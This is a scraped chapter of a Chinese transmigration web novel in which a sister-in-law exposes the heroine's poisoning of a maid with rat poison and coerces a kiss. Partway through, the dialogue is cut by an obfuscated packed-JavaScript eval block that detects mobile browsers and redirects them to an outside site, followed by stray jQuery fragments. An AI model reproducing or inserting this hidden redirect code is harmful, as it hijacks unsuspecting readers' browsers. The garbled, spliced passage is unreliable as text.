6. 是你杀了翠竹吧

作品:《被病娇当作白月光缠上[穿书]

    贺云低下头,落吻在携带魏斯绵体温的暖玉上,神情既病态又虔诚,就好像吻的不是一块死物,而是真的吻了魏斯绵一样,惹得魏斯绵不由自主的冷颤了一下。


    魏斯绵不是没有在电视剧或者电影,见识过这种扮猪吃老虎的人设,也不是没有见过这种充满转折性的剧情发展,但是每次看到这种片段的时候,她都会觉得不过如此,有时候甚至能提前猜到剧情的转折点。但是那个时候,无论剧中多么跌宕起伏,她都不过尔尔的“哦”一下,然后面无表情的吃下一片黄瓜味的乐事薯片。


    以前看剧时候,魏斯绵的情绪平淡的跟被阉割的太监一样,是因为自己是旁观者,不是剧中人。作为旁观者怎能那么深刻的体会到,那种杀了人之后的惊心动魄,以及侥幸逃开后的松懈,以及难得发自内心的去同情一个人,想要给予对方什么,岂料这些所有的所有,都成了他人抓住自己的把柄。


    现在,她不但无法带着看戏的情绪,百无聊赖的吃下一片薯片,她反而成为了即将被吞咽入腹的“薯片”。


    “吻我。”贺云冷不丁的从杏红的薄唇中摸索出了两个字眼。短短两字,如同晴天霹雳一样驻足在魏斯棉的耳边,她窸窸窣窣的反抗道“家嫂……我们这样是不对的,您是魏家名门正娶的正室,我是您的……我们这样做,不符规矩。”


    贺云笑了一下,她的声音是那种江南美人独带的韵味,笑的时候,就好像是青涩的苞谷被催熟的滋味,魏斯绵一直找不到一个具体的词去形容,直到多年后她想到了一句话去形容贺云带给的感觉,她就像轻佻但沉淀的谷物。


    “我是你的什么?”贺云顺着她的话询问道。


    魏斯棉鼓起勇气,伸出手想要将她推开,手抵在贺云的肩部准备发力,“您是兄长的妻子,您是我的家嫂,我们同为女子,如此行为,违背祖宗教诲,有毁魏家颜面。”


    贺云面上的笑意依旧没有散去,依旧笑脸相迎,她从容的说道“糖糖是觉得,嫂嫂没有抓到你干坏事的证据。没事,嫂嫂一一为糖糖列举。”


    贺云伸出手圈在魏斯绵的手腕处,轻而易举的就讲,那只原本在推搡自己的手攥在手中,“其一,你肯定会以自己这段时间从未踏出家门为由,以此辩解自己无法弄到毒药这件事情。”


    贺云变态的把魏斯绵的手揣在自己胸前,就像刚刚魏斯棉企图安慰她时做的那样,“其二,魏宅阴暗潮湿,常年有蚊虫鼠疫,从前糖糖可是一点都受不了,但是这段时间,倒也消停。”


    贺云的手从魏斯绵的手腕移到了她的指间出。开始把玩魏斯绵的手指,一根一根的,顺着指缝,指腹打转在魏斯绵的柔夷上,略带茧子的指腹划过魏斯绵柔软的手心,粘连的触摸她的手,就像把玩玩物那样,魏斯绵的手就像文玩一样,“其三,只要调查一下你贴身丫鬟,最近的出行记录,和报销的日常清单。”说到这里,贺云笑得都不舍得说下去了。话已经说的很清楚了,只要调查一下魏斯棉贴身丫鬟最近的出行记录和购买的物什,就能知道魏斯绵提前备好了老鼠药,魏府常年阴暗潮湿,筹备老鼠药是再正常不过的事情。但是贺云说到这里,无疑是已经抓到了她犯案的所有把戏。


    贺云猜到了她毒死翠竹的手法压根不是什么鹤顶红,而是所有人都没有猜到的老鼠药。


    贺云用手缓缓抬起魏斯绵的下颌,用极其温柔,近似哄人的的声音说道,“她死前抽搐了,口吐白沫,那是吃了老鼠药的症状。从前,村里的人活不下去的时候,就是这样复服毒自尽的,贫穷可比毒药难耐多了。”


    她看起来还是那样端庄,却残忍的把魏斯绵所有的罪证摆到了她面前。魏斯绵急切的在心里面询问系统,“喂,要是贺云把我犯的事情捅出去,会怎么样?”


    “就死路一条啊,剧情就会走向,魏家仓促的把你嫁给张家年过半百的老爷,当十八姨太,然后魏斯绵于大婚当日晚上,上吊自杀为结局。而你,没有顺利引导主角走向结局,退出这个世界后的积分全部不作数。”


    “这也太极端了吧。有什么办法可以避免吗?”


    “当然有啊,这不是很简单,你就从了她。”


    “哈啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079281|179366||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?我这一辈子廉洁自好,宁死不屈,留的清白在人间,我魏斯绵,是那种贪生怕死之人吗?”


    “哦,好的,宁死不从大英雄,顺便提醒你一句,这是你作为宿主重生的第一个世界观,也是系统对你的实习考验,如果你第一个世界观一上来就失败了,就直接被判为实习失败,灵魂直接消散,或者运气好一点,可能会有世界观需要悲惨人设的时候,你会直接投胎,不过那样的人生,生不如死哦。”


    系统话音刚落,魏斯绵毫不犹豫的拽着贺云的衣领,要吻上去。贺云被魏斯绵突如其来的动作惊讶到了,但是她很快就反应过来了,她一手环着魏斯绵的腰肢,另外一手干脆利落的推开魏斯绵身后的门,魏斯绵倚靠的地方突然消失,一瞬间失去了平衡感,身体下意识往后跌落了一瞬,却被贺云手上一紧,轻而易举的把魏斯绵箍入怀里。


    “这就是你的答案吗,糖糖?”


    魏斯绵那近在咫尺,依旧没有勇气触碰的唇,在下一瞬间,被侵袭而来,带着桔梗花的冷香,侵袭着她。贺云吻的好不温柔,有种期待已久,有种觊觎已久,有种忍耐已久的情感扑面而来,让魏斯绵承接不住,她上辈子没有谈恋爱的经验,自然没有什么接吻经验,就像是一瞬间被人推入深海,连同呼吸都忘却了。


    慌乱之中,她甚至不小心咬破了贺云的唇,血腥味回荡在唇齿之间,铁锈味和香甜的气息交缠在一起,居然让人有种微醺上头的感觉。


    好软……


    她闭上眼睛,不敢睁开眼观望,但是偶尔有几个瞬间,她偷偷睁开眼睛,总能与那双被欲望泡软浸湿的眼眸对视,魏斯绵突然意识到,贺云接吻属于不闭眼睛的类型,记得上辈子和同学谈论有关恋爱的话题时,同学们说,接吻时不闭眼睛的人,有两种,第一种是他对你多半只是玩玩的情感。第二种,对方很享受你被吻的情迷意乱的模样,有种猎人的心态。当时大家谈论到这里,还起哄说“那不是变态吗?好瑟哦。”


    魏斯棉一直在心底直骂贺云变态,谁家嫂嫂吻妹妹,吻得那么深,这不是变态是什么。